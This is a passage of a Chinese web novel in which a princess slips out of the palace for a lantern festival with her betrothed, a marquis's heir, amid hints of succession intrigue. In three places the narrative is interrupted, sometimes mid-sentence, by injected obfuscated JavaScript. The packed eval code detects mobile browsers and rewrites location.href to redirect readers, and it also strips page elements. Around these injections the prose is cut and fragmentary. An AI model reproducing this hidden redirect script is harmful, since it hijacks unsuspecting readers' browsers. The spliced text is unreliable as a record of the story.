和南余的战事缠绵数年,好不容易有个喘息机会,前朝如今都在关心南余和亲的事情,将江南水灾的事情放在后头,谁也不敢主动提起流民的事,唯恐触皇帝霉头。 至于朝中百官暗流涌动,也不见得有多齐心协力。太子六岁被立,储君的位置做了十来年,看似稳固,但皇后早逝,后宫中他无人可以帮扶,其他兄弟虎视眈眈,连带着他们背后的势力,也都紧盯着东宫的位置,想换个人来坐。 既然已经有人想方设法将流民送到皇帝眼前,这场天灾一定会被拿去做文章,好借此事来分一杯羹。 转瞬之间,庄惟月将这些事情想了一通,端着茶杯,竟是入了神。 “今日是出来游玩的,贵主何必烦恼,这些事情自有朝中官员处理。”濯玉看庄惟月神色郁郁,掖了掖她的衣摆,“要是因为这些事败了兴致,岂非得不偿失?这还是贵主教过奴的道理,世间之事,人力所不能及者多如牛毛。要是一桩桩一件件全都放在心上,人这一辈子都要被这些不痛快的大石头压得喘不过气。岂能事事尽如人意,但求无愧我心。” 庄惟月放下已然不冒热气的茶水,用手指挑开车帘,转了转头,看到远处聚集在一起的小吏们,又有人被带走了 “生民艰难,百姓都活在泥水里,不知何时才能喘息一二。” 濯玉想着法子宽慰庄惟月:“贵主体恤农户,京郊的庄子是方圆百里抽成最宽松的,去年又给他们减了租,佃农们都很感念贵主的恩德。他们听说贵主喜好花草,特意在山中找了些珍稀货送来,春莲一一辨认后已种下,说不仅今年能看上花,有几样东西或许还能吃呢。” 庄惟月被她提醒,随口问起:“拿来的账册,你看得如何了?” 濯玉认真回答:“已看完大半,芳杏姑姑说,既然贵主有意将手中各项产业正式收拢起来,正好趁此时机都清理清楚。贵妃娘娘此次额外给了许多赏赐,金银珠宝还算其次,主要是西市商铺和京郊的许多田地,需要一并清点。账册和人员都很庞杂,清理起来需花费时间,不过有从夏姐姐帮忙,至多不过三日,就能核算完毕。” 庄惟月:“母妃可有留下人手?” 濯玉:“长春宫的人将东西送来就走了,留下话说要是奴有看不懂的地方,就去找芳杏姑姑,自会有人来帮忙解惑。” “该问的问,尽快弄清楚里面的门道,以后公主府的账册我才能放心交给你。” “贵主交代的事情,奴不敢马虎。” 庄惟月摩挲着衣袖边,垂眸掩住冷淡的目光,看来钦天监定的日子不剩多长时间。不然母妃也不会给的这么痛快,唯恐她不通庶务受人摆弄,在魏珉面前落了下乘。 春莲吃完糖葫芦,拍拍手掌,迟迟未听见新吩咐,小心翼翼地询问:“贵主,接下来去哪?” “沿着这条路走吧,再等等世子来。” 马车继续沿着街道缓步前进。 急促且清脆的马蹄声贴近车厢,而后渐缓,与马车同行。 驾车的春莲与人说话的声音断断续续,听不真切。 随后是笃笃两声,车厢被人敲响。 濯玉探出去看了看来人,立刻拉开车门,迫不及待将人请进来。 风卷着一股极淡的合欢花香吹进来,来人在庄惟月对面坐下。 庄惟月嗅到熟悉的气息,很快扭回头,往后看了一眼,在男人带着冷色的脸上转了一圈,顾不上想其他事情,乖巧坐好,有些心虚地同来人打招呼:“世子哥哥。” 7. 第 7 章 魏珉发束白玉簪,腰缠金玉带,身着靛蓝色圆领袍,任谁见了,都要先夸好一幅端方公子样,然而他此刻浑身上下尚有因快马赶来时残存的冷意,加上沉沉面色,平添几分阴鹜。 他先是往庄惟月那边看了一眼,随即目光缓缓定住。 初春的暮色已然降临,车壁两侧应景地挂着两盏花草灯,灯面上花草影子婆娑,颜色雅致,可窥见拿笔之人当时心境,必定是恬然自得。 然此刻灯下作画者的眉眼间似心虚中又笼罩着说不清的轻愁。 魏珉的神情终于起了细微变化,“好不容易顺你心意出宫,为何这幅神色,谁欺负你了?” 庄惟月迟疑片刻,错开他的视线,闷着声道:“才没人敢欺负我,只是突然觉得有些许烦闷罢了。” 这副可怜模样,只差把我有心事几个大字写在脸上。 魏珉看向濯玉。 低眉顺眼的濯玉感受到这股视线,她方才大着胆子将魏珉偷偷瞧了又瞧,心想这位世子果真形容矜贵,堪与贵主作配。 正琢磨着,转瞬间这位世子的眼风就横了过来,压力宛如实质压在她身上,比面见陛下时还要令人心惊战胆,她终于明白从夏姐姐之前的态度从何而来,开口也不是,不开口也不是。 “贵主出宫后看中一只漂亮狸奴,想聘回府中,奴没抓住,叫贵主失望了。” 魏珉瞥了她们主仆二人一眼,这话只能敷衍不了解庄惟月性子的人。 庄惟月素来不喜欢在人前摆公主架子,对待宫人们的态度随和,身边的侍女们倒是一个个的真心护着她。 “你若是真心喜欢,这事也好办。”魏珉心知问不出更多,微微颔首,对庄惟月说,“让你的人去找我的护卫,将狸奴的样子仔细形容一番,他们画幅画拿去按图索骥。你若是不方便出宫,找到以后,可以暂且养在侯府中。” 濯玉觉得这办法不错,看庄惟月一眼。 庄惟月勉强提起精神,让濯玉去,“你去同松青仔细说说,我记得那小猫左前爪有处火燎过的痕迹,三五日消不了。还有,和他说一声,狸奴找到以后直接送到怀仁坊的公主府,自会有人接手照顾。” 她想了想,又补充:“我知道世子哥哥你不喜欢这些长毛的小东西。” 魏珉此人看似清心寡欲,实则小毛病颇多,但他性情使然,泰山崩于前不改颜色,喜恶内藏于胸,需细细观察琢磨才能明白他的偏好。 譬如四年前的春猎,庄钧不知在哪找了条细犬来掠阵,整个围猎期间,庄钧牵着那条宝贝狗不离身,袍服和马靴上都黏着狗毛。魏珉始终保持着离表弟五丈开外的距离,用实际行动表达他的嫌弃。 可惜庄钧那傻小子看不出来,还特意跑来问她是不是和魏珉吵架了,才害得他被连累。 对此庄惟月曾经十分不解,侯府三代单传,魏侯夫妇看模样并非不好相与的人,魏珉身为侯府世子,不说娇生惯养,也该是视如珠宝地长大,怎么会养成这幅古怪性子。 魏珉挑了挑眉,默认下来,“那便叫他们送到公主府吧。” 濯玉见她二人没话继续交待,立刻下马车,去找那个名叫松青的侍卫去了。 狸奴的事暂时搁置。 庄惟月的心却是提在半空中,不上不下的,自以为隐蔽地观察魏珉。 魏珉静静地盯着她,看着她抱着手炉颠来倒去,眼珠子左瞧右瞧,就是不肯正眼瞧他。 她们主仆看人都是一个模子里刻出来的。 再盯下去人该炸毛了,魏珉才慢条斯理地说,“我到了宫门口,才从从夏口中得知你早已出宫的消息,根据留下的地址一路追到西街的杨记糕点铺子,也没见到说要在那里相见的人,现在是否应该给我个解释。” 庄惟月知道他将濯玉打发下去,必定是有事要发作,十分乖觉地先认了错。 “这次是我的疏忽,没有提前往侯府传信,还望世子哥哥不要怪罪。” 在他跟前,庄惟月认错一向积极,下次准保再犯。 “还有,应当跟在你身边的人呢?依照本朝律典,公主出行,当乘七宝步辇,配三十金吾卫。” 庄惟月料想今日魏珉定然有此一问,把琢磨了好久的理由摆出来,说前觉得这话十分有九分的不能说服魏珉,可话出口便觉理直气壮起来。 “要是真带上那么大一群人出行,恐怕整条街巷都放不下公主仪仗,还能好好游玩吗?我又不是当街耍猴戏给人看的。再说了,我曾看过太祖爷爷的起居注,他登基后仍未改旧时习惯,每逢彩灯节,等宫中宴饮一散,便与太祖奶奶乔装出宫,混入百姓中与民同乐,我效仿庄家先祖有何不对。” “太祖在位时是何等光景,如今的帝京城又是什么样子,公主不是不识人间疾苦的人,想来也清楚。”魏珉依旧摆着那副脸色,淡声继续说,“天家威严,自来如此。每逢皇族子女出行,少不了焚香净街,金吾卫随扈左右。万一今天真出了事,向贵妃娘娘交代事小,你的安危为大。” 他的言语间对今上毫无顾忌,细若游丝的念头在庄惟月脑海中划过,她猛地一惊,急切问:“你没有告诉母妃吧。” 魏珉撩起眼皮,将她的表情纳入眼底,“你留在宫中的人还算机灵,金吾卫弄丢了公主,眼下正在皇城四处寻你,我顺势帮你拦了拦消息。不过你这点小把戏,瞒不了娘娘多久,以后再想出宫,恐怕不会这么容易。” “下次的事便下次再说,世子哥哥果然没让我失望。”庄惟月语调一点点上扬,她就知道魏珉此人擅长口是心非,一定会帮她隐瞒。 她忘记杯中茶早已冷透,不小心喝了口又冷又涩的茶水,依然是喜滋滋地说:“今日总算有惊无险,京兆府的人也不全是饭桶,最重要的是,要多谢世子哥哥。” 魏珉抿了抿唇,他的视线从庄惟月笑意盈盈的脸庞上离开,拿起铁钳拨弄暖炉里的炭火。 铁钳不知何时滑到暖炉壁边,被烤得烫极,他却捏得更紧,仿佛要用手指上灼烫的疼痛来克制某种翻涌上来的情绪。 魏珉的声音如同在深潭水中浸过,透出冰冷的质感:“既然你知道此举无异于将自己置于险地,那么现在可以来算一算账了。” 庄惟月以为就此已经结束,没想到还有后续,委屈地吃了一惊,差点失手打翻茶盏。 她连忙收拾好,抬头看向魏珉,悬挂的花灯将男人的表情映照清楚。她心中咯噔一下,世子哥哥看起来是真的很生气的样子…… “你明知城内并不安全,执意只带两个手无缚鸡之力的小丫头出宫,三个人加起来没一个顶用的。要不是这些流民还知道忌惮巡街吏,担心将事情闹大,真的引来京兆府大肆清缴,否则今日冲撞起来,你身边的侍女多半会陷在里面,被人吃的连骨头渣子都不剩,公主以为自己今天还能顺利脱身,平平安安回到永安宫吗?” 魏珉撒开手,铁钳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715896|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚落开来,他眸中闪过明灭火光,终于再度看向庄惟月,面沉如水的接连发问:“敢问嘉宁公主,你究竟是怎么想的?你偷跑出宫的时候想过后果吗?哪怕有半分后悔过?” 濯玉刚传完话进来,就听到世子的这么两句问题,关上车门的手微微颤抖,埋着头膝行到庄惟月身侧。 冷风幽幽,她进来的动静着实不算小。 可车中坐着的两位主子都恍然未闻,隐约呈对峙姿态,一个居高临下地凝视着对方,等着回答,而自家公主则蹙着眉沉默以对。 “世子,其实……” 魏珉淡淡扫过来一眼。 于是帮忙甩掉贵妃娘娘人的濯玉也自觉心虚不敢说话,缩到角落,陪着贵主听训。 庄惟月干脆破罐子破摔,赌气道:“因为我知道不会出事,你一定会赶来的。” 魏珉深深地看了她一眼:“我竟不知公主对我如此放心。” 庄惟月:“你身边跟着的都是好手,若是让人手持我的令牌去寻你,在这帝京城内,我不信还有魏侯世子摆不平的事情。” 魏珉被气笑了,虽知她出事的可能性极小,但他赶来时仍是心急如焚,唯恐她有个磕磕碰碰,见到她坐在马车中才真正安心。 “要不是衙役告诉我有人拿着宫中令牌,我还不知道你们到了哪里。你这个随心所欲的性子,何时能改改。” 庄惟月:“只出了点小岔子。” 她心中觉得魏珉这次有小题大做的嫌疑,不过没说出口。 魏珉重重道:“是就差一点出事,难不成公主是想怪臣来迟了?” 庄惟月立刻顺坡下驴,“那我这次先原谅世子哥哥。” “你赌在帝京城内不会出事,笃定我会替你遮掩,贵妃不忍责怪,唯独没有考虑到自己。”魏珉叹了口气,似是对她无可奈何,“惟月,不是每次都有这样的好运气。” “知道啦知道啦。” 庄惟月若无其事地拿出一包蜜饯,捧到他面前:“世子哥哥别生气啦,这梅子干用花蜜腌渍过,比外面的好吃些。” 明知她是想转移话题,魏珉还是取了一颗梅干,就此妥协。 “下不为例。” 庄惟月看着魏珉吃完,也拿了一颗尝尝,刚入口就觉得味道不太对,仔细看是濯玉拿错了荷包,这包蜜饯糖下的重,口味过甜,她特意用来压药味的。 魏珉擦干净手指上的蜜汁,目光再度落在濯玉头顶上,“我知道你们忠心护主,但公主毕竟年幼,想法时常如天马行空,不可能任由她的性子来,有些事,该劝的要劝,古来忠臣死谏的例子比比皆是,你们身在深宫,必要时亦可效仿之。既知有所为而有所不为,方能成就明主。” 寥寥数语,这位世子并不像濯玉以为的那样好脾气。 她后知后觉起了一身冷汗:“奴明白了。” 庄惟月将人拉到身后:“好了,世子哥哥,你别吓唬小孩。” 死谏这种话都用上了,把她当成什么,昏庸无能的君主吗? 庄惟月小发脾气,扫到手边柜子里摆着的茶罐,立刻换了魏珉最不喜欢的一味红茶,亲手递过去,看着他喝下时眉头几不可见的一颤,才咬着嘴唇慢慢笑了。 魏珉:“小孩脾气。” 庄惟月不理他。 小时候魏珉虽然也是个小古板,但一块糖就能哄的他开口,年岁越大,性情难以捉摸,越是固执不好哄。 8. 第 8 章 庄惟月方才心中郁郁,是因为还记挂着碰见的那群褴褛小童,不知道他们今夜会带着狸奴藏在何处,不过和魏珉这么一来一去的吵了几句,反而畅快不少。 天地不仁,以万物为刍狗。 圣人不仁,以百姓为刍狗。 眼看着盛世安乐如摇摇欲坠的泡影,身处乱局之中,想得太多并无益处,那她能做的,也就是顺势顺心而为。 庄惟月想问问魏珉有何想法,毕竟他曾亲眼得见仁和十二年的天灾人祸,如何起于微末,又如何浩浩荡荡被人为扑灭,她在濯玉面前讲的事情,一半来自记载,剩下一部分来自于魏珉。 魏珉刚到帝京那几年,庄惟月很喜欢这位小郎君,她上头几位兄长都没有什么兄长样,庄朔又是个不怎么会说话的小娃娃,所以每逢魏珉进宫,或者在宴席上碰面,庄惟月总要缠着魏珉,让他给她讲故事。 他从小随着老魏侯南北征战,见识的东西多,心里仿佛装着十万万座大山那样厚重的故事,可惜长了一张完全不会讲故事的嘴,任何事情到他口中,再讲出来总是平铺直叙,平平无奇,可她听来却觉得有趣极了。 或许魏珉会有解决之法。 不过他这人素来不爱管闲事,尤其是朝堂上的事,庄惟月正酝酿着,马车缓缓停了下来。 春莲敲敲车门,提醒车内众人:“贵主,到地方了。” 濯玉先推开门跳下车,警惕地环顾一圈,扭回头时才注意到春莲红彤彤的眼睛。 她吓了一跳,拉着人低声问:“怎么哭了?” 春莲担心濯玉误会,连忙解释:“我没有哭,有小飞虫进眼睛里面了,痛。” 濯玉帮着她看了看,没问题才放下心来,念在春莲第一次跟着她们出宫,仔细交待,“有世子在,你等会不必跟着我们,可以松快松快,在附近玩一玩罢。” 她又摸出片金叶子递给春莲,将四周打量清楚,随手指路,“不过离得太远可不行,去旁边的茶楼坐坐也好,吃些茶点。最迟三刻钟,一定要回来守着马车。” “濯玉姐姐,我知道了。” 春莲点点头,余光扫到车内的人接连出来,她往后让了让,站在濯玉身后,极隐晦的目光如蜻蜓点水般从两人身上快速滑过。 贵主扶着男人的手缓缓下了马车。 她越发低下脑袋,将金叶子小心收好,低垂的目光一路追随者那人靛蓝色的衣角,听着他同公主说话,努力竖起耳朵听清他说的每一个字。等再也看不见听不见了,她才爬回到车上坐着,安安静静等着他们一行人回来。 庄惟月事先同魏珉约定好,“今天你我二人权当是兄妹出游,我照旧唤你阿兄,你唤我杜月娘,如何?” 庄是皇族姓氏,太过招摇,庄惟月出宫一向是拿母家化名,再假称是侯府的远方表亲杜娘子,有魏珉在前替她遮掩,这位从泉州来帝京的杜娘子身份稳固得很。 魏珉不置可否:“随你。” 他注意到小女娘下车后被冷意一催,不高兴地揉了揉鼻子,往后瞥一眼侍从。 侍从立刻牵马赶上,递过个包袱来。 魏珉抖开里面簇新的披风,示意庄惟月:“夜冷霜重,你身子耐不住寒意,披上吧。” 庄惟月看了看他手里的东西,先想起来一件事,轻声细语地说:“去年秋天母妃身体微恙,我留在宫中侍疾,没跟着去西山围猎,后来听回来的人说太子在猎场上竟得了头名。阿兄运气不好,出师不利,被庄钧带着走偏了路,最后只猎得两头银狐,成绩屈居末流。” 濯玉心想,贵主没头没尾地提这些干什么,偏头看过去,世子手上拿的正好是件银狐皮做的狐裘。 狐裘的毛色光泽具是上佳,绣娘的手艺也颇为精湛,想来应该花了好些功夫,不是一时一日能做出来的。 濯玉正要上前接过,世子已经捧着狐裘往旁边转了半步,她识趣地收回刚抬起来的手,往旁边避了避,看来以后还有得适应呢。 魏珉熟稔地给庄惟月系上系带,手指不小心碰到她细弱的下巴,很快挪开。 庄惟月微微抬着头看他,还等着魏珉的回答。 眼前人做了男装打扮,银白衣袍玉发冠,但通身的气质不会骗人,看起来完全不像小公子,仍是个天真活泼的小女娘,魏珉与那双流光溢彩的眸子对视几息,终于还是开了口。 “太子的骑射功夫是闻烈将军所教,闻将军十四岁便有百步穿杨的本领,太子在他门下受教五年,既是弓马娴熟,自当被奉为魁首。” 庄惟月拢了拢狐裘,但笑不语,去年她的太子兄长在春猎时输给小他几岁的庄朔,丢了大脸,听说没忍到回营帐,便气得一脚踹断了伺候人的肋骨,那小内监年幼瘦弱,当场就没了性命。 现场人多眼杂,这事很快被传了出去。在猎场的文武百官均有所耳闻,话传的很不好听,皇帝为此大发雷霆,不是因为太子踢死了人,而是下旨训斥闻烈与太子太傅,没将太子教好。 太子三师受辱后愤而上谏,被皇帝以更加激烈的态度挡了回来,在当时闹得很不愉快,可惜胳膊拧不过大腿,这事最终以太子太傅辞官归乡为结果。 将将半年,太子就能胜过曾指导庄朔的魏珉。 当真是运气使然? 庄惟月看着满河载着心愿的花灯顺流而下,心中一片平静,“朔王弟曾经私底下和我抱怨,早知道赢下太子会引起这么大一场风波,不如待在皇陵还自在些,如果冒犯到棺材里面的人,先辈们总不好跳起来和他一个小辈计较。” 魏珉:“你今日的话有些多。” 庄惟月伸出手来,捏住他的衣袖,不依不饶地问:“阿兄怎么看?” 魏珉负手而立,不甚在意的语气,在她耳边落下的几个字犹如惊雷,让人心悸。 “太子肖父,不是明君之相。” 这堪称大逆不道的话一出,庄惟月立刻偏头盯住魏珉,两岸灯火摇曳,足够让她看清他平静的眉目,男人的眼睛黑极了,好像所有的光亮都无法照进去,深沉道整个人成了一尊完全没有感情的石佛。 庄惟月张了张嘴,蹙眉道:“阿兄今日的态度也不似寻常。” 前朝众臣早生忧虑,太子成年渐渐显露出乖戾的那一面,性情越来越像他的父亲,脾气霸道暴躁,对下人动辄打骂,东宫伺候的宫人换了一茬又一茬。他对内不留情,对外更是没有什么仁慈之心,对太子太傅常有冲撞之举,日后登基,恐怕朝臣都没有好果子吃。 不过太子毕竟身居储君之位多年,东宫内又有皇太孙,除非他想不开来谋反,这位置还能稳固地坐下去。 部分士族当然不愿意看到这样的太子登基,选择将其他皇子作为赌注,冲着贵妃和魏珉的双重加持,有小部分人愿意押宝庄朔。 想到这里,庄惟月攥着手指沉吟,朝中局势,竟也与她息息相关,她抬眸,注视着魏珉的侧颜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715897|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 魏家在朝堂上从来不偏不倚,只听陛下命令,否则皇帝不会选择将她嫁给魏珉。但今日魏珉对太子的一番评价,令她心中惴惴,不知道魏家是否已经暗中做好选择。 那这样,她可就没办法嫁给魏珉了。 庄惟月一时走神,险些被迎面走过来的几个年轻郎君冲散,幸而魏珉一把揽住她,无奈道:“又在想些什么?” 庄惟月挣开他的手,走到河岸边,河水拐弯处有堆积的枯水草,因此滞留了几盏河灯,她捡起岸边不知谁放置的竹竿,小心翼翼地将灯拨弄走。 河水悠悠带着灯盏们顺流而下,也让她看清了上面的字迹。 “我在想满床河灯,寄托的多是放灯人此时的美好祝愿,或求姻缘,或求金榜高中,阿兄身为侯府世子,会有什么心愿?” “但愿家国安定,百姓衣食无忧。至于其他,本不该我管,我也不会插手。” 试探到此为止。 庄惟月得到她想要的回答,放下心来逛起沿街叫卖的小摊,脚步渐慢,而旁边的郎君配合着,时不时伸出手,在攒动的人群中护住三心二意的小女娘。 濯玉遥遥跟在后头,手肘碰碰松青,感慨道:“你家郎君和我家女娘可真是般配。” 松青握紧了剑,面无表情地紧盯自家郎君。 点茶娘子的表演,庄惟月看中了食肆上叫卖的胡饼和毕罗,扭回头,眼神找到濯玉。 按理说,濯玉是很能明白庄惟月眼神示意的,比如此刻,她已经知道贵主想让她干什么,但她还是默默转过头,在旁边装傻充愣。 庄惟月一头雾水地喊她:“濯玉。” 濯玉犹豫着上前,“夫人吩咐过我们,不许给娘子吃外面的东西。上次出宫,娘子贪凉,用了两碗荔枝酥山,当晚疼得睡不着觉,奴和从夏姐姐将绝笔书都写好了。” 庄惟月毫无诚意地撒娇:“好濯玉,上次是意外,这次我小心点,一定没问题。” 濯玉努力板着脸,“娘子的身体不能打马虎,奴今天已经犯了错,不能再犯。” 才多久,她就将魏珉说的话奉为金科玉律。 庄惟月站在食肆前面,等魏珉过来,立刻欢快地叫他:“阿兄!” 魏珉一看庄惟月眼神就知道她想干什么,先将她早前点名要买的东西递给濯玉,掏出银子准备付钱,“想买什么?” 濯玉抱住河灯,试图去拦住魏珉:“世……魏郎君,夫人特意叮嘱过,今夜不许娘子在外饮食,担心闹肚子。” 她腰上挂了两个荷包,放着蜜饯肉干之类的吃食,都是从永安宫的小厨房带出来,预备今晚给贵主吃的。 “无碍,我会盯着她。” 濯玉退下后,魏珉和庄惟月谈条件,“二选一,要是吃了这个,今晚就不能再吃羊肉胡饼。” 庄惟月仔细比较完:“那还是蟹黄毕罗吧,这时节难得遇到新鲜螃蟹。” 魏珉付了钱,再叮嘱:“此物性寒又油腻,只能吃三个,不许多吃。” 濯玉知道带出来的东西是用不上了,遂摸出来一袋肉干,试图分给松青,被沉默寡言的侍卫拒绝后,她低声嘀咕“臭石头”。 她终于看明白为何庄惟月出宫总喜欢魏珉陪着,世子只是嘴上严厉,眼下还不是听之任之,对着贵主说不出拒绝的话。 濯玉将贵妃娘娘的交代抛在脑后,站在远处安心吃蜜饯,反正贵主和世子她一个都管不了。 9. 第 9 章 庄惟月一小口一小口地吃热腾腾的蟹黄毕罗。 她试图劝坐在对面的魏珉,“这蟹黄毕罗味道很是不错,阿兄真的不想试试吗?” “不想。”魏珉眼疾手快地将她刚要混入口中的第四个拿走,剩下的全部丢给濯玉,让他们分食掉。 庄惟月眼巴巴地看着他优雅且迅疾的吃完从她手中夺走的毕罗。 可恶,世子哥哥原来不吃河鲜,没想到今日竟破了例。 她愤愤地擦干净手指。 “娘子,快看!” 人群突然爆发出阵阵欢呼声,濯玉也兴奋地大叫,庄惟月在鼎沸的人声中抬起头。 那是令许多观者永生难忘的一幕。 千盏万盏花灯同时亮起来,照彻整座帝京城,天上月满,人间灯火正明亮。 比两座茶铺还高的鳌山灯棚缓缓转动,上面的灯完全打开,形成一幅完整的二十四番花信风图,四季交替的灯面上仿佛有暗香浮动,美轮美奂。 庄惟月走出食肆,静静凝视着缓缓转动的鳌山灯。 漫天华彩映照在她眼底,她赏完花灯,收回目光时忽然注意到远处柳树下的少男少女,小女娘指挥着心上人往树上挂红丝带,挂完红绸,两个人很快抱在一起,偷偷摸摸地亲吻。 然后小女娘转了个圈,遥遥与庄惟月对上了眼睛! 被她饶有兴致的目光盯着,两张泛红的小脸慌慌张张地牵着手逃跑。 庄惟月觉得有趣:“今天果然是个好日子。” 附近有许多抱着红绸专等有情人的机灵小童,听见她这样一句话,目光在她和魏珉之间扫过几圈,似是明白了什么,立刻过来兜售:“郎君需要红绸吗,西市的柳树娘娘很灵的,挂上红绸,娘娘必会保佑郎君姻缘长长久久哩。” 那棵树上的红绸恐怕比叶子还要多,柳树真能承载那么多沉甸甸的希望吗?庄惟月倒是能马上满足眼前小童的小小心愿,她掏钱买了两条,交给濯玉:“你拿去挂着玩吧,替你从夏姐姐也挂一条。” 濯玉小跑几步,回头确认:“娘子不去吗?” 庄惟月摇摇头。 “钦天监明天就要往长春宫递折子,订下你我的婚期。” 似乎是被他突然挑起的话题惊到,少女的眉头挑起,困惑地看向他。 魏珉打量着她的神情,露出很淡的笑容,那笑容虚浮在脸上,像套着一层脆弱的冰壳子。他直白问:“你不愿意吗?” 庄惟月被濯玉在树下蹦来蹦去地绑丝带所吸引,轻笑出声。她并非不信神佛,也不是不愿意将愿望寄托在草木之上,而是,这棵柳树人身可及之处已经被红丝带缠满,若再想挂上去,就得爬上树。 有谁愿意在心上人面前上蹿下跳的装猴呢,反正庄惟月自己不愿意,还是看别人来有意思。 魏珉听她的笑,黑了脸,让松青去帮忙。 庄惟月这才盯着她众所周知的驸马人选,正经回答:“那也没有。” 去年年底,她过了及笄礼,便想着迟早会有这么一天。皇室兄弟姐妹中,像她这个年纪的早已成亲。 太子十七岁时,他的儿子已经会抱着她的腿喊姑姑,学着他那混蛋爹的模样冤枉人了。 “只是我没想到这么快,这么急。” 从前总盼着能出宫建府,真到了临门一脚的时候,心中突然生出些许彷徨,若她成婚,偌大宫中又只剩下母妃一人。 魏珉盯着她,从她的神色中判断这话是真是假。 依稀记得是小小少年时,大公主出嫁,庄惟月想去给姐姐送嫁,贵妃娘娘觉得外面鱼龙混杂,不许她去。她只得听别人谈起那日的盛景,大公主府门前如何十里红妆,如何请了最红的戏班子小锦州唱得满堂彩。 她气得脸颊鼓鼓,被激起莫名的好胜心,说等到她成亲时,办的定然比大姐姐的婚事还要热闹。 庄惟月当时唯一的听众,给她推秋千的小郎君没有给出任何反应,他皱着眉,不知是因为被她从太学里拉出来玩而生气,还是为她这一番不知羞的言论而沉默。 如今也到了他们成亲的年纪。 “侯府有从江州请来的厨娘,可以将鱼片得薄如蝉翼,鱼脍做的尤其鲜美,还有蜀地刚到的戏班子,他们家的百折戏可以连唱三天三夜不重样,京中彩衣坊的绣娘……” 魏珉还想说,他等这一天,已经太久太久。 庄惟月的眼睛霎时亮起来,目光一转,看中旁边解谜摊上的金鱼灯,“这盏灯好看,可惜谜底我有些拿不准,阿兄不妨替我一试。” 二王同坐,对弹竹调,音律相和,不分高下。 魏珉心中浮现出答案,他刻意看一眼庄惟月,执笔写下谜底。 摊主看到连连夸赞:“好好好,郎君的谜解得好,这字更好。” 他在西市多年,见过无数心生暧昧的小郎君小娘子借着彩灯节的名义出游,一眼看穿那小点的郎君乃是女娘,这二人也不似正经兄妹,遂取下花灯直接送给庄惟月。 “不知郎君可否将墨宝留下,这位……小郎君可随意再挑一盏花灯。” 庄惟月看向魏珉,魏珉点点头,她随手一指,“再给我盏金鱼灯吧,凑个双。” 摊主大喜,又冲着两人拱手,念出一串祝词,“看郎君与女娘甚是相配,愿两位婚事美满,琴瑟和鸣。” 庄惟月迫不及待提起花灯转了两圈。 “阿兄。” 魏珉:“嗯?” 庄惟月举起灯晃了晃,两只金鱼在空中游荡。她瞥过摊主翻开的谜底,分给他一盏灯,耳根泛着微微的红意:“这就是我的回答。” 如果夫君是陪伴她近十年的眼前人,好像也没什么可担心的。 妻子好合,如鼓琴瑟。 魏珉拿了大金鱼灯,摸摸她的头顶。 他脸上浮着三分笑意,话说出来却是克制而郑重的,显露出本心的意思:“好,不许反悔。” 庄惟月挑起手中灯,小金鱼亲亲他掌中的大金鱼,附上真心,坚定地回应:“此约记成,我绝不失信于人。” 松青帮着濯玉系完红丝带,魏侯府的下人贴过来,在他耳边说了什么消息。 濯玉好奇地投向陌生人一眼,先谢过松青,心说什么消息嘀嘀咕咕的。 松青斟酌片刻,神色凝重地同魏珉说了几句话。 魏珉垂下眼帘,遮住他眸中晦暗,可有可无地说:“我知道了,告诉他们明日再议。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715898|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 松青:“可老爷派来的人说事态紧急,一定要请郎君现在过去商量。” 魏珉心生厌倦,淡淡道:“他们早已决定好,何必再问我。” 庄惟月不知道发生了什么事,但看魏珉拒绝后,松青不敢开口再劝,在旁边急得团团转的样子。 她想了想,体贴地说:“阿兄是不是有要事处理?你要去就去吧,这里有濯玉陪着我呢。” 魏珉定定看她,那眼神庄惟月不好形容,像藏着一捧将燃未燃的火,顷刻之间便能成燎原之势,太烫了,她不喜欢。 以为他还在担心她的安危,庄惟月劝他:“再不济,还有你的这些侍卫保护。阿兄连松青也信不过吗?” 魏珉终于下定某种决心;“等办完事,我立刻回来找你。” 松青松了口气。 魏珉将带来的人全部留下,又交代好濯玉看着庄惟月,不许她趁机多食,刚准备离开。 “松青。” “兄长。” 听到熟悉的名字,庄惟月回头去看,身着彩裙的妙龄女娘向着她们快步而来,样貌惹眼,还有几分眼熟。 魏珉顺着她的视线看过去,面上一丝笑容也没有,有种刻意的深沉意味,他没着急离开,反而伸手拍了拍庄惟月狐裘上的花灯灰烬。 是一览无余的亲近姿态。 来人很快走到她们面前,杏脸桃腮美人面,身姿袅袅如折柳。 庄惟月抢在对方打招呼之前出了声,“许久未见梓壁阿姊,阿姊在外不必行礼,直接唤我月娘便好。” 这年轻女娘身份不俗,乃是魏珉嫡亲的妹子,魏侯唯一的女儿——魏梓璧。京中每逢盛会,若是能请到庄惟月和魏梓璧双双到场,主人家就算是有了天大的面子,可引为当时美谈。 